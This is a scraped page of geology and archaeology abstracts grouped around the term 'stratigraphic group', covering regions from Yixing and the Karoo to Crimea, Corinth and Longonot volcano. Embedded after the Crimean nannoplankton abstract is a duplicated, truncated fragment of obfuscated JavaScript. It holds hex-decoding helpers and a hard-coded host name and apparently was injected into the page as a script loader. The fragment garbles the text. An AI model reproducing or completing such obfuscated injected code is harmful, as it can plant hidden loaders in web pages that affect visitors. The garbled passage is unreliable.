Stratigraphic Groups Research Articles

Application of resistivity sounding in Quaternary stratigraphic division in Yixing, Eastern China

Abstract Stratigraphic classification and correlation are fundamental for the study of regional geology, tectonic structures and paleogeographic evolution. Geological structures have undergone a dramatic change since the Quaternary. However, the division of the Quaternary stratigraphic boundary in southeastern China is debated. In this study, we used a direct current vertical electric sounding method to study the Quaternary strata in Yixing, Jiangsu, China. Using one-dimensional resistivity inversion and analyzing the regional geology and geological core data, the electrical features of the study area were evaluated. We found good agreement between the geological core data and lithological data, and we were able to identify two stratigraphic groups: the hilly sedimentary area in the southwest and the Tai Lake plain sedimentary area in the northeast. The latter can further subdivided into two parts. Division and classification of the Quaternary strata in the study area provide a basis for locating areas likely to have a high pore-confined water content (such as Gaoteng, Heqiao and Wanshi town), whereby useful information is provided for groundwater exploitation for emergency use.

Textural characteristics, mode of transportation and depositional environment of the Stormberg Group in the Eastern Cape, South Africa: evidence from grain size and lithofacies analyses

Abstract The Stormberg Group comprises the Molteno, Elliot and Clarens formations and is one of four stratigraphical groups that make up the Karoo Supergroup in South Africa. The group is the highest unit in the Karoo Basin, representing the final phase of preserved sedimentation. The major problem with the Stromberg Group is that the mode of transport, hydrodynamic energy conditions and depositional environment are still poorly understood. For the present paper, grain size and lithofacies studies on selected sandstones from the Molteno, Elliot and Clarens formations were performed so as to elucidate their textural characteristics, depositional processes, sedimentation mechanisms and hydrodynamic energy conditions and to discriminate different depositional environments. The statistical parameters of grain size distribution (mean grain size, standard deviation, skewness and kurtosis) show that the sandstones are predominantly unimodal, fine grained, moderately well sorted, mesokurtic and near symmetrical. The bivariate diagrams of the aforementioned statistical parameters demonstrate that river and aeolian dune had the greatest impact on the depositional environments. Likewise, the C-M pattern (Passega diagram) shows that the sandstones were mostly deposited through tractive current process. Furthermore, the C-M diagram reveals the prevalence of rolling, suspension and graded suspension modes of sediment transportation. Seventeen sedimentary lithofacies were identified and grouped into seven lithofacies associations. These lithofacies associations indicate braided channel, overbank and swamp deposits for the Molteno Formation, alluvial fan/floodplain and playa deposits for the Elliot Formation and aeolian deposits for the Clarens Formation.

Distribution Patterns of Main Structural-Group Parameters of Crude Oils from North Caucasus Oil-and-Gas Basin According to 1H NMR Data

Using the 1H NMR examination of a representative set of crude oils (86 samples, 54 oil fields and exploration areas) from the North Caucasus oil-and-gas basin, we obtained, for the first time, the structural-group composition of crude oils over the entire basin. Distribution density plots were presented for all the composition parameters measured. It was demonstrated that, because none of the parameters obeys normal distribution, non-parametric statistical analysis is needed for the data processing. In particular, medians and median confidence intervals (the latter being determined by signed-rank test), rather than means or root-mean-square deviations, should be relied upon. The North Caucasus oils were found to have a markedly lower content of aromatics (both monocyclic and bi-/polycyclic) than the crude oils from Western Siberia and Volga–Urals. Compared with the Eastern Siberia basin, the North Caucasus oils are distinguished by a slightly higher presence of bicyclic and polycyclic aromatics. At the same time, the North Caucasus oils exhibit the highest content of normal and monomethylated alkanes among the four basins under consideration. The North Caucasus oils were classified into three stratigraphic groups according to their oil composition. The first group consists of Triassic and Jurassic reservoirs. These crude oils have the lowest content of aromatics and the highest content of normal and monomethylated alkanes. The second group is the Cretaceous sediments, and the third group includes Paleogenic and Neogenic deposits. The content of aromatics increases consistently from the bottom to the top of the section.

Біостратиграфія палеоцен-еоценових відкладів Українських Карпат за планктонними форамініферами

Paleogene deposits are the main reservoir of hydrocarbon resources in the Carpathians and creation of the modern stratigraphic scheme of these deposits is the basis for improving the efficiency of geological search works. The reliable stratification is a necessary precondition for the preparation of geological maps. Stratification of the Paleocene–Eocene sediments is provided by foraminifera, nannoplankton, dinocysts, radiolarians, sponge spicules, palynoflora. Planktonic foraminifera is the main stratigraphic group of the Paleogene fauna. In the predominantly non-calcareous flysch of the Paleocene–Eocene of the Carpathians, mainly agglutinated benthic foraminifera of siliceous composition are developed. Planktonic foraminifera are distributed locally – in calcareous facies. The most complete sequence of Paleocene–Eocene planktonic foraminifera is represented in the Metova Formation (the Vezhany nappe of the Inner Carpathians). The results of own researches of natural sections of sediments distributed within the Magursky, Monastyretsky and Vezhany nappes of the Ukrainian Carpathians together with the analysis of literature sources are used. The article presents a generalized biozonal division of the Paleocene–Eocene of the Ukrainian Carpathians by planktonic foraminifera. On the basis of certain correlation levels, a comparison with the Geological Time Scale was made. The Parvularugoglobigerina eugubina Zone (lowermost Danian), Globoconusa daubjergensis Zone (middle Danian), Praemurica inconstans Zone (upper Danian); Morozovella angulata Zone (lower Selandian); Globanomalina pseudomenardii Zone fnd Acarinina acarinata Zone (upper Selandian–Thanetian); Morozovella subbotinae Zone (lower Ypresian), Morozovella aragonensis Zone (upper Ypresian); Acarinina bullbrooki Zone (lower Lutetian), Acarinina rotundimarginata Zone (upper Lutetian); Hantkenina alabamensis Zone (Bartonian); Globigerinatheka tropicalis Zone (lower Priabonian) and Subbotina corpulenta Zone (upper Priabonian) based on planktonic foraminifera are characterized in studied deposits.

Evolution of the early to late Archean mantle from Hf-Nd-Ce isotope systematics in basalts and komatiites from the Pilbara Craton

Inferences on the early evolution of the Earth's mantle can be deduced from long-lived radiogenic isotope systems such as 176Lu-176Hf and 147Sm-143Nd, for which both parent and daughter elements largely remain immobile at low metamorphic grades. However, it remains ambiguous when and to what extent mantle-crust differentiation processes had started in the Archean. For a better understanding of Archean mantle-crust evolution, we determined the initial 176Lu-176Hf, 147Sm-143Nd, and, in a new approach, the 138La-138Ce isotope compositions of a suite of Archean mafic-ultramafic rock samples from the 3.53-2.83 Ga old Pilbara Craton and 2.78-2.63 Ga old Fortescue Group in NW Australia. These rocks represent one of the best-preserved Archean successions worldwide and contain mafic-ultramafic rocks that were erupted during repeated and long-lived pulses of volcanism throughout much of the Archean. Mantle-derived mafic-ultramafic rock samples were collected from six major stratigraphic groups of the Pilbara Craton and the overlying Fortescue Group in order to characterize the parental mantle source regions of the lavas and to reconstruct the temporal evolution of the ambient mantle beneath this piece of cratonic lithosphere. In addition, we analyzed contemporaneous TTG-like igneous suites and interbedded sediments in order to reconstruct the lithospheric evolution of the Pilbara Craton.The Hf-Nd-Ce isotope data imply the onset of mantle-crust differentiation in the Pilbara Craton as early as ∼4.2 Ga, well prior to any of the preserved stratigraphy. Within error, coupled Ce-Nd-Hf isotope arrays all intersect chondritic values, implying that the Earth is of broadly chondritic composition, also for the 138La-138Ce isotope system. Mafic rocks usually yield strongly coupled εHf(i), εNd(i) and εCe(i) values that form a mixing line between an evolving depleted upper mantle composition and the primitive mantle value (εHf(i) ca. 0.0 to + 3.2, εNd(i) ca. +0.2 to +1.7 and εCe(i) ca. +0.3 to -0.1). As all Paleoarchean samples lack co-variations between Nb/Th with εHf(i) or εNd(i), contamination with an enriched crust is unlikely to explain this mixing trend. The most primitive mantle-like mafic samples show elevated GdN/YbN ratios (2.2-1.4), implying the involvement of a deep-rooted, near-primitive, upwelling mantle that was progressively mixed into the depleted upper mantle. In contrast to the mafic rocks, most, but not all komatiites are decoupled in their initial Hf-Nd-Ce isotope compositions, by having extremely radiogenic εHf(i) values at only moderately high εNd(i) and low εCe(i) values. This decoupling is best explained by the assimilation of mantle domains that underwent early melt depletion in the garnet stability field and evolved at high 176Lu/176Hf ratios but at moderate 147Sm/143Nd and 138La/138Ce ratios over time. The disappearance of rocks with decoupled Hf-Nd isotope compositions after ∼3.2 Ga is likely linked to decreasing mantle temperatures that were no longer able to melt such refractory mantle domains. Collectively, our new data for mafic rocks from the Pilbara Craton confirm the presence of long-term depleted mantle domains in the early Archean that are not sampled by the zircon Hf isotope record in the Pilbara Craton.

Seismic stratigraphy of the inner to mid Agulhas bank, South Africa

The inner to mid continental shelf of the Agulhas Bank, which forms part of the Palaeo-Agulhas Plain, is scattered with Pleistocene deposits. Their wide lateral extension is the expression of a flat underlying substrate, availability of accommodation space, and depositional processes in response to glacio-eustatic sea-level change. We present seismic sub-bottom profiles up to 30 m deep, sediment cores up to 5 m in length and Pleistocene deposits that date back to Marine Isotope Stage (MIS) 7 from the inner to mid shelf between the Breede River in the West and Plettenberg Bay in the East. Radiocarbon and optically stimulated luminescence dates are integrated with microfossil analysis into a seismic stratigraphic model comprised of twenty Quaternary facies units within two depositional sequences bounded by shelf-wide unconformities. Sequence Boundary 1 (SB1) corresponds to the erosional unconformity with bedrock and SB2 to the MIS 2 glacial lowstand. Incised palaeo-river channels are associated with both sequence boundaries and cored deposits also mapped seismically from estuarine, lacustrine and fluvial systems are grouped to represent the lower floodplain. The most pervasive stratigraphic pattern in these shelf deposits is made up of the depositional sequence remnant of the Falling Stage Systems Tract (FSST) forced regression from MIS 5e–2. The other dominant stratigraphic group is the Transgressive Systems Tract (TST) associated with the Post-glacial Marine Transgression. The TST makes up an almost equal proportion of deposits in both sequences in the sedimentological record as the FSST, despite the shorter temporal span of the TST. A Wave Ravinement Surface marks the rise in sea level from the Last Glacial Maximum in a landward direction.

El Castru (Vigaña, Balmonte de Miranda, Asturias): un pequeño poblado fortificado de las montañas occidentales cantábricas durante la Edad del Hierro

espanolEste articulo presenta los datos arqueologicos recuperados en las excavaciones del poblado castreno de El Castru, en Vigana (Balmonte de Miranda, Asturias) realizadas en 2012 y 2013. Dicho yacimiento constituye un buen ejemplo de los pequenos castros de la Edad del Hierro en las montanas del area occidental cantabrica. Por ello, el analisis de las informaciones obtenidas y su contextualizacion a escala regional ofrecen interesantes aportaciones al debate sobre las formas de poblamiento y subsistencia adoptadas por las comunidades del I milenio a.C. en el Noroeste iberico. EnglishIn this article we present and discuss the archaeological data obtained in the 2012 and 2013 excavations carried out in the hillfort of El Castru, in Vigana (Balmonte de Miranda, Asturias, NW Iberia). The excavations have showed a long-sequence occupation of the hillfort since the Early Iron Age to the early Roman period. The site constitutes a good example of the small Iron Age hillforts of the western Cantabrian Mountains. For this reason, the analysis of the information collected during fieldwork and its contextualization at regional level provide us with interesting considerations for discussing about the settlement patterns and subsistence systems adopted by the I millennia BC communities in NW Iberia. The manuscript is opened by a general overview of the hillfort, including a contextualisation of its surrounding landscape. Then, a detailed description of the six stratigraphic phases we identified during the excavations is presented, paying attention to the stratigraphic relations between different layers and structures. In addition, five radiocarbon dates are presented to build up the chronology of the site. Three huts and metallurgical production areas were explored, resulting on a significant collection of materials. The structures and layers that create each stratigraphic group are characterised considering a broad discussion about the archaeological materials that were discovered through the excavations, paying particular attention to pottery assemblages. The study and discussion of an outstanding zooarchaeological remains collection, some seeds and four pollen samples offers a relevant window to understand the anthropization of the surrounding landscape along the biography of this site. Diverse agricultural activities were developed in connection with a complex arrangement of pastoralist strategies, where we envision a growing specialization on cattle herding along the biography of this site, while agriculture is based in a wide range of complementary crops including several types of cereals. The discussion of these data considering Landscape Archaeology as our theoretical and methodological framework becomes a relevant case study in the geographical context of the western Cantabrian Mountains, where we lack this kind of approaches. The archaeological dataset under examination in El Castru allows us to argue that the small peasant community who inhabited the hillfort along the Iron Age and the earlier decades of the Roman period could be characterised particularly by their socio-political autonomy and productive self-sufficiency. This way, we understand Iron Age social landscapes in this area under the umbrella of non-hierarchical models for social organisation, such as heterarchical societies or ‘deep rural communities’, following some of the interpretations recently raised by several scholars in NW Iberia. euskaraArtikulu honetan bildu ditugu El Castru (Vigana, Balmonte de Miranda, Asturias) herrixkan 2012an eta 2013an eginiko indusketetan berreskuratutako datu arkeologikoak. Aztarnategi hori Burdin Aroan Kantaurialdeko mendebaldeko mendietan zeuden kastro txikien adibide ona da. Horregatik, eskuratutako informazioak aztertzeak eta informazio horiek eskualdeko testuinguruan kokatzeak elementu interesgarriak dakartzate Iberiar penintsulako ipar-mendebaldean K.a. I. milurtekoan zeuden komunitateek zituzten populaketa-moduei eta biziraupen-moduei buruzko eztabaidara.

Benchmarking passive seismic cover depth assessments

Passive seismic techniques utilise the properties of ambient seismic waves to infer information about the structure of the subsurface, namely the depth(s) at which significant impedance contrasts occur. Geoscience Australia has recently conducted three passive seismic surveys to assess the suitability of two passive seismic methods, the horizontal over vertical spectral ratio (HVSR) and spatial autocorrelation (SPAC) techniques, for estimating cover depth over crystalline basement. Both techniques rely on ambient seismic noise in the form of surface waves. The HVSR technique involves measurement of the horizontal and vertical components of ambient seismic noise at an individual site. Where an impedance contrast exists, a maximum is observed in the HVSR value at a frequency directly dependent on the interface depth. The SPAC technique utilises dispersion observed in surface waves, which is also dependent on interface depth. Shear wave subsurface velocity profiles are constructed through inversion of the HVSR and/or SPAC curves. The logistically simpler HVSR method, requiring only one seismometer, was found to produce estimates with significantly lower error than estimates from SPAC for depths up to 300 m in the Murray Basin, where unconsolidated to semi-consolidated Cenozoic sediments overly Paleozoic crystalline basement. Both HVSR and SPAC methods failed to resolve the target interface with the exception of one site in the Gawler Craton, located at a depth of 900m. Further work is planned for these data with different processing techniques. The HVSR technique produced estimates consistent with other geophysical techniques (airborne electromagnetic, refraction seismic, and magnetotelluric methods) for the majority of sites in the Thomson Orogen, where the Mesozoic Eromanga Basin, Cenozoic cover, and regolith associated with both these stratigraphic groups overly crystalline basement to a depth of up to 550 m. The accuracy of these profiles will be verified with stratigraphic drilling. Results from these three surveys provide strong support for the passive seismic technique, in particular the single station HVSR method, as a highly effective and logistically low-cost and simple tool suitable for mapping cover depth in many regions of interest across Australia.

U–Pb detrital zircon dates and source provenance analysis of Phanerozoic sequences of the Congo Basin, central Gondwana

The Congo Basin (CB) is the largest sediment sink of central Gondwana, built on a mosaic of Precambrian crustal blocks amalgamated during the mid-Paleoproterozoic (Eburnian; 2.1–1.8Ga), late Mesoproterozoic (Kibaran; 1.4–1.0Ga), and late Neoproterozoic–early Cambrian (Pan African; 750–500Ma). Sporadic uplift, tilting and erosion of these Precambrian terrains form the source regions for the sedimentary sequences that fill the CB. We investigate the Phanerozoic successions in the field and along four historic deep boreholes drilled in the center of the basin, and date detrital zircons from the main stratigraphic groups to characterize their provenance ages and reconstruct the paleogeographic evolution of the CB during amalgamation and break-up of the Gondwana supercontinent. Sedimentological data show that the oldest, upper Neoproterozoic–lower Paleozoic Redbeds (the Inkisi, Aruwimi and Biano Groups) were derived from the north. Zircons from these sequences have two dominant age-populations of 1100–950Ma and 800–600Ma, likely sourced from Kibaran and Pan African terrains within the Oubanguides (e.g. the Central Saharan Belt) and parts of the North African Shield (e.g. Darfour). The overlying Carboniferous–Permian glacial and deglaciation sequences (the Lukuga Group) have similar peaks, as well as abundant zircons of 2.05–1.85Ga and a subordinate number dated at 1.42–1.37Ga. The latter are from Eburnian and Kibaran sources in east-central Africa, consistent with west-facing glacial paleo-valleys preserved along the eastern margin of the CB. The succeeding Triassic (the Haute–Lueki Group) and Jurassic–Cretaceous (the Kwango Group) fluvial and aeolian red sandstones were again derived from the north. Their range of zircon dates has two main peaks at 1000Ma and 600Ma, but also contain small younger grains of 290–240Ma and 200–190Ma. We interpret these younger zircons to be derived from volcanic dust that originated during late Paleozoic–Jurassic magmatism of the Choiyoi and Chon Aike Provinces flanking the Andean subduction margin of Gondwana. By contrast, the uppermost Cenozoic alluviums of the CB (the Kalahari Group) contain diamond concentrates and large zircon fragments dated at 3–2.5Ga, derived from the Kasai and Cuango Cratons, to the south, which host Cretaceous diamondiferous kimberlites.

The age of Earth’s largest volcano: Tamu Massif on Shatsky Rise (northwest Pacific Ocean)

This study presents laser step-heating 40Ar/39Ar age determinations of basaltic lava samples from Tamu Massif, the oldest and largest edifice of the submarine Shatsky Rise in the northwest Pacific and Earth’s proposed largest volcano. The rocks were recovered during Integrated Ocean Drilling Program Expedition 324, which cored 160 m into the igneous basement near the summit of Tamu Massif. The analyzed lavas cover all three major stratigraphic groups penetrated at this site and confirm a Late Jurassic/Early Cretaceous age for the onset of Shatsky Rise volcanism. Lavas analyzed from the lower and middle section of the hole yield plateau ages between 144.4 ± 1.0 and 143.1 ± 3.3 Ma with overlapping analytical errors (2σ), whereas a sample from the uppermost lava group produced a significantly younger age of 133.9 ± 2.3 Ma suggesting a late or rejuvenated phase of volcanism. The new geochronological data infer minimum (average) melt production rates of 0.63–0.84 km3/a over a time interval of 3–4 million years consistent with the presence of a mantle plume.

NANNOPLANKTON STRATIGRAPHY OF UPPER CRETACEOUS OF MAUNTINE CRIMEA

On the south of Ukraine Upper Cretaceous calcareous nannoplankton reached its maximum of quantity and quality. Nanofossils are rockbforming components of all lithological rock types, however, the weak variation of the taxonomic diversity complicate the application of the stratigraphic groups. Based on the study of material from the Upper Cretaceous range of Mountain and Plain Crimea region we have identified nine zones of global distribution. In the lower Cenomanian of the zone of Eiffelithus turriseiffeli; an Upper Cenomanian – Upper Turonian – zone Microrhabdulus decoratus; in the Upper Turonian – Lower Coniacian – zone Kamptnerius magnificus – Eiffelithus eximius; in Santonian – zone Micula staurophora; Lower Campanian – zone Arkhangelskiella cymbiformis, in the Upper Campanian – zone Broinsonis parca parca, in the Upper Upper Campanian – Lower Maastrichtian – zone Reinhardtites levis, in the lower part of the Upper Maastrichtian – zone Lithraphidites quadratus, in the upper part of the Upper Maastrichtian – zone Nephrolithus frequens. The boundary between Maastrichtian and Danian conducted by the sharp disappearance of almost all species of Upper Cretaceous nannoplankton.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Chronostratigraphic and Depth Variability of Porosity and Strength of Hard Coals in the Upper Silesian Basin / Chronostratygraficzna I Głębokościowa Zmienność Porowatości I Wytrzymałości Węgli W Górnośląskim Zagłębiu Węglowym

In the article, values of porosity and compression strength of hard coals from the area of the Upper Silesian Coal Basin are presented. Change of the stage of carbonification, which results from conversion of coal substance in the process of coalification, is a source of many changes in the structure of coal. These changes exert influence on values of physical parameters, including value of porosity and strength. Porosity and compression strength change with the degree of carbonification which is a result of the depth of deposition. Presented in the article, values of effective porosity of coals and their strength have been determined considering age chronology of coal seams and depth of their occurrence. Coals of the Cracow Sandstone Series, the Mudstone Series, the Upper Silesian Sandstone Series and the Paralic Series, from depth ranging from about 350 m to about 1200 m, were examined. The authors have shown that effective porosity of the Upper Silesian coals changes for particular stratigraphic groups and assumes values from a few to a dozen or so per cent, while compression strength from several to several dozen megapascals. It has been observed, from chronostratigraphic perspective, there is a shifting of the upper and lower limit of intervals of porosity variations towards higher values for younger coals. With the increase of compression strength, value of porosity in particular stratigraphic groups generally decreases. However, no regular changes were observed of mean uniaxial compressive strength with the increase of age of subsequent stratigraphic groups. On the other hand, for bright coal and semi-bright coal, visible decrease of compression strength with the depth of deposition of strata was observed.

The Geology of Goa Group: Revisited

Abstract The supracrustals that constitute the Goa Group of Gokul et al. (1985) can be divided into two lithostratigraphic sequences namely the Barcem Group and the Ponda Group. The former comprises predominantly greenstones (metabasalts) and rests on a basement of the 3300-3400 Ma Anmode Ghat trodhjemite gneiss with a crudely developed quartz-pebble conglomerate at the base, and shows lithological similarities with the lower part of the Bababudan Group. The younger sequence is dominated by clastics, and is assigned to a new stratigraphic group formally termed the Ponda Group which is equivalent to the Chitradurga Group of the Dharwar Supergroup. This group rests on a basement of the 2700-2900 Ma Chandranath granite gneiss with a distinct unconformity marked by a polymict, granite-clast metaconglomerate. The conglomerate displays many similarities with the Talya conglomerate that occurs at the base of the Chitradurga Group. It is overlain by a psamolitic sequence which is followed in ascending order by the chemogenic sediments that host the BIF and by the deep water turbidite sequence (argillite-graywacke association) with intercalations of mafic volcanics. The supracrustal sequence is intruded by the Bondla layered mafic-ultramafic complex along a major shear zone (NW-SE) that largely controls the course of the northwesterly flowing tributary of River Mandovi. The late intrusive, Canacona potassic granite marks the culmination of the sedimentation in the Shimoga-Goa basin.

Detrital zircon ages of Neoproterozoic sequences of the Moroccan Anti-Atlas belt

Detrital zircon dating from Neoproterozoic successions in the Sirwa inlier of the Anti-Atlas belt in Morocco confirms that the maximum depositional age of the main stratigraphic groups is significantly younger than has been previously proposed in lithostratigraphic correlations. This can probably be extended to the whole Anti-Atlas according to other recent data from the Saghro inlier. Although the relative stratigraphic position of the different units remains valid as published previously, a crucial implication of the new ages is that the sequences believed to be contemporaneous with oceanic crust and island arc formation during the rifting and break-up of the northern margin of the West African Craton (WAC), and believed to be involved in the first phases of the Pan-African orogeny, are actually late to post-orogenic. The age of the main deformation associated with the collision of the oceanic- and arc-derived terranes to the WAC, allegedly affecting the sediments of the Saghro Group, has been estimated at around 663–640 Ma. However, the youngest zircon populations of sediments of the Saghro and Bou Salda Groups, obtained in this study, cluster around 620–610 Ma, constraining the maximum age of deposition. This age of sedimentation is indistinguishable from the age of intrusive high-K calc-alkaline plutons of the Assarag Suite, suggesting a very rapid cycle of magmatism, relief formation, erosion and sedimentation in an active geodynamic scenario. Moreover, the proportion of the 610 Ma detrital zircons becomes less with respect to the Paleoproterozoic zircons at higher stratigraphic levels, suggesting that the source of young zircons was progressively eroded and more extensive cratonic areas, that probably underlie the Neoproterozoic rocks, were exposed. We interpret these data in terms of the development of a ca. 610 Ma magmatic arc, built upon WAC basement, and its progressive dismantling. This arc can be correlated with the voluminous late Neoproterozoic (ca. 640–570 Ma) arc magmatism characteristic of the north Gondwana margin and the peri-Gondwanan terranes. The diamictite beds that appear in the Imghi Formation of the Saghro Group have been correlated with the Sturtian glacial period ca. 700 Ma. However, zircons from one sample of these diamictites indicate that this correlation cannot be longer maintained, and instead they should be correlated with the Marinoan glacial period ca. 630–610 Ma, with a widespread distribution of glaciogenic deposits in West Africa. In addition, around 375 U–Pb concordant analyses obtained from Paleoproterozoic zircons from six samples represent a statistically significant population of this area of the WAC basement, which can be a useful database for comparison with the detrital zircon populations of the peri-Gondwanan terranes of Europe and North America, as the WAC margins were one of the major sediment suppliers for these terranes.

A regional 1.92 Ga tectonothermal episode in Ostrobothnia, Finland: Implications for models of Svecofennian accretion

The mostly metasedimentary Svecofennian Western Pohjanmaa belt in Ostrobothnia, Finland, can be divided into two stratigraphic groups separated by a major unconformity that reflects deformation following regional metamorphism. The western Lappfors group, interpreted as a Svionian basement complex, has strong W-trending folding and aeromagnetic signatures that contrast with the overlying eastern Evijärvi group, interpreted as lower Bothnian, which has more open N-trending folding and magnetic patterns. Several lines of evidence date the unconformity at ∼1.92 Ga. Detrital zircons from two samples of Lappfors group metasediment, and a sample of the basal Nivala gneisses in the Eastern Pohjanmaa belt, have 1.92–1.91 Ga post-depositional low-Th/U metamorphic overgrowths. The maximum deposition age of the Lappfors sedimentary protoliths, based on detrital zircon ages, is between ∼1.99 and ∼1.95 Ga. Three samples of Bothnian sediments lack pervasive ∼1.91 Ga overgrowths, instead having a variety of detrital zircons as young as ∼1.95–1.91 Ga, reflecting recycling of the underlying basement complex. The maximum deposition age of the Bothnian sedimentary protoliths is inferred to be ∼1.91 Ga. The Niska granitoid, which intrudes the Evijärvi group and is deformed only by the younger tectonic episode affecting that sequence, has a zircon age of 1896 ± 6 Ma. That episode, which established the present relationships between basement and cover, is dated by ∼1.88 Ga metamorphic zircon overgrowths in both the Svionian and Bothnian samples, and by 1878 ± 4 Ma metamorphic monazite from a metasediment from the Savo belt, east of the Nivala district. The post-1.91 Ga volcanic sequences of the Svecofennian Province are unlikely to represent arc accretion. The Svionian metamorphic sequences are probably the remnants of a widespread marginal basin that formed between ∼1.97 and 1.92 Ga, then was accreted to the craton during an Early Svecofennian (∼1.92–1.91 Ga) orogenic phase, forming the basement on which the Bothnian volcano-sedimentary sequences were subsequently deposited.

New chronological and stratigraphical data on the Ivrea amphitheatre (Piedmont, NW Italy)

The Ivrea amphitheatre (IA) in NW Italy has been studied since 1850, on pedostratigraphic and morphological bases. Three stratigraphic groups of glacial sediments were distinguished. Newly recognized stratigraphic boundaries are based on interstadial/interglacial units, palaeosols and lacustrine organic layers interbedded with glacigenic deposits, and on pedostratigraphy. Mapping of morphological features and associated marginal and sub-glacial deposit facies was used to characterize and reconstruct glacial margin fluctuations. Based on the field evidence, the stratigraphical limits recognized at single sites can be interpolated over the whole amphitheatre. Ten stratigraphic units (referred to as alloformations: Afs) were distinguished and mapped. They are related to at least as many glacial episodes ranging in age from the end of the Early Pleistocene to the Late Pleistocene. The youngest three glacial units (Serra Af, Piverone Af and Ivrea Af) and one interstadial level (Alice Superiore Unit between Serra and Piverone Afs) are discussed in detail. Based on biostratigraphical and pedological, as well as sedimentological and morphological data, the Serra Af can be attributed to MIS 6 and Piverone Af to MIS 4. The 10Be surface exposure ages from two boulders (27.9±3.1, 32.4±4.0 kyr) on the Serra d’Ivrea moraine provide only a minimum age for moraine construction. The alignment of typical ice marginal landforms (moraines and kame terraces) for the more recent unit (Ivrea Af) has allowed recognition of 12 principal stadials during the LGM and Lateglacial; 6 stadials in the amphitheatre and 6 stadials in Dora Baltea Valley, and reconstruction of the nature of the last glacial retreat from the amphitheatre to the cirques. 10Be exposure ages from three boulders related to Ivrea Af are 13.1±1.0, 17.4±2.6 and 20.8±1.5 ka. The latter two ages indicate that the Dora Baltea Glacier deposited the Ivrea Af in the IA during MIS 2. The 10Be exposure ages of 14.6±1.2 and 14.0±0.9 ka from a polished bedrock surface some 15 km upstream from the amphitheatre provide a minimum age for ice decay.

Stratigraphic architecture of the Plio-Pleistocene infill of the Corinth Rift: Implications for its structural evolution

An integrated study of the stratigraphy, structure, sedimentology, and geomorphology of the Akrata–Derveni region (southern coast of the Gulf of Corinth, Greece) forms the basis for a tectono-stratigraphic model for the evolution of the Plio-Pleistocene central Corinth Rift. The syn-rift sediments exposed on the uplifted southern coast of the Gulf of Corinth comprise three stratigraphic groups. Maximum total thickness of the syn-rift sediments can reach 2800 m in the middle of the studied area. The Lower Group is made of fluvio-lacustrine deposits. The Middle Group corresponds to thick alluvial fan conglomerates and their equivalent Gilbert-type fan deltas that built toward the north. The Upper Group is composed of uplifted terrace deposits, slope breccias and small Gilbert-type deltas. These groups have been subdivided into informal formations and depositional systems. Restoration of the stratigraphic architecture along a N–S transect provides a linked structural and depositional model for this part of the rift. Reconstruction of the latest phases of uplift is based on a study of geomorphological features. Evolutionary phases include, (1) an overall increase in accommodation space during deposition of the Lower and Middle Groups followed by (2) a drastic decrease in accommodation space during deposition of the Upper Group. Sedimentary signals indicate that most of the major normal faults were active during deposition of the Lower Group. The depocentre was located in the middle part of the study area and paleocurrents were predominantly toward the ENE. The main depositional system shifted south at the onset of deposition of the Middle Group, recording a widening and deepening of the rift. This major event also corresponds to a change in paleocurrent direction to a clear northward polarity. The southernmost border fault, the Killini Fault, was sealed during deposition of the Middle Group. A northward migration of fault activity was associated with northward progradation of giant Gilbert-type fan deltas that record water depths up to 500 m. Finally, the fan delta system was abandoned as progressive tilting to the south and uplift of the margin induced a reversal of the drainage system with the development of an endorheic depression. Sediment supply to the basin thus decreased and a forced regression took place during deposition of the Upper Group recording a northward shift of more than 5 km and a 600 m relative sea-level drop. As no major eustatic sea-level falls of such amplitude are documented during the Pleistocene, the uplift is linked to regional tectonics. Uplift and fault reactivation gave the present day configuration of the southern coast of the Gulf.

Tectonosedimentary evolution of the Plio-Pleistocene Sant’Arcangelo Basin (Southern Apennines, Italy)

Abstract This paper describes a new tectonosedimentary model for the evolution of the Plio-Quaternary Sant’Arcangelo Basin, located in the Southern Apennines of Italy. To this purpose, we carried out a new field survey of the basin fill, closely integrating stratigraphy, facies analysis, and structural and tectonic analyses. The geological map at 1:50 000 scale of the whole basin is the first result of this work. We present a new stratigraphic framework for the Sant’Arcangelo Basin succession, which has been subdivided into five major stratigraphic groups, classified as synthems, following the recognition of major basin-wide unconformities. The synthems include smaller-scale stratigraphic units, which are classified as depositional sequences or sub-synthems. These sub-units are composed of different lithofacies assemblages recording cyclic activation of fluvial, deltaic, shallow marine and lacustrine environments throughout the evolution of the basin. Integration of facies analysis and tectonic data led to the definition of a series of palaeogeographical sketches, encompassing the Piacenzian and late Pleistocene, which mark the main steps in the evolution of the Sant’Arcangelo Basin. Basin-scale hinterland-verging thrust faults and folds controlled the development of sub-basins and the progressive isolation of the Sant’Arcangelo Basin from the Ionian foredeep. The new model presented here defines the Sant’Arcangelo Basin as a triangular-shaped basin, bounded by oppositely verging thrusts. The hinterland-verging Valsinni thrust anticline limited its eastern margin and exerted a major control on the basin evolution.

Rates and Timescales of Fractional Crystallization from 238U-230Th-226Ra Disequilibria in Trachyte Lavas from Longonot Volcano, Kenya

A suite of peralkaline trachytes from Longonot volcano, Kenya, which erupted during the last 6000 years, has been analysed for major and trace elements, Pb and Nd isotopes, and U–Th–Ra disequilibria. The lavas are divided into three stratigraphic groups of trachytes (Lt2a, Lt2b and Lt3), and hybrid lavas, designated LMx1 and LMx2, which, respectively, pre-date and post-date the Lt2 lavas. Major and trace elements are consistent, with up to 37% within-group fractional crystallization of predominantly alkali feldspar. The parental magma for the different trachyte groups had a more mafic composition—probably hawaiitic. Nd and Pb isotopes show minimal variation, both within and between magma groups, and indicate that up to 10% comendite magma from the neighbouring Olkaria volcanic field may have intermixed with the Longonot magma. (230Th/238U) disequilibria indicate that limited U/Th fractionation occurred during the past 10 kyr, whereas (226Ra/230Th) disequilibria reflect the effect of alkali feldspar fractionation >8 kyr ago in the Lt2a lavas, between 3 and 7 kyr ago in the Lt2b lavas and in the past 3 kyr for the Lt3 lavas. (226Ra/230Th) disequilibria in the Lt2b lavas are interpreted using a model that combines the equations of radioactive decay and in-growth with Rayleigh crystallization to give fractionation rates of about 0·2 x 10–4/year for the evolution of hawaiite to trachyte, but more rapid rates of up to 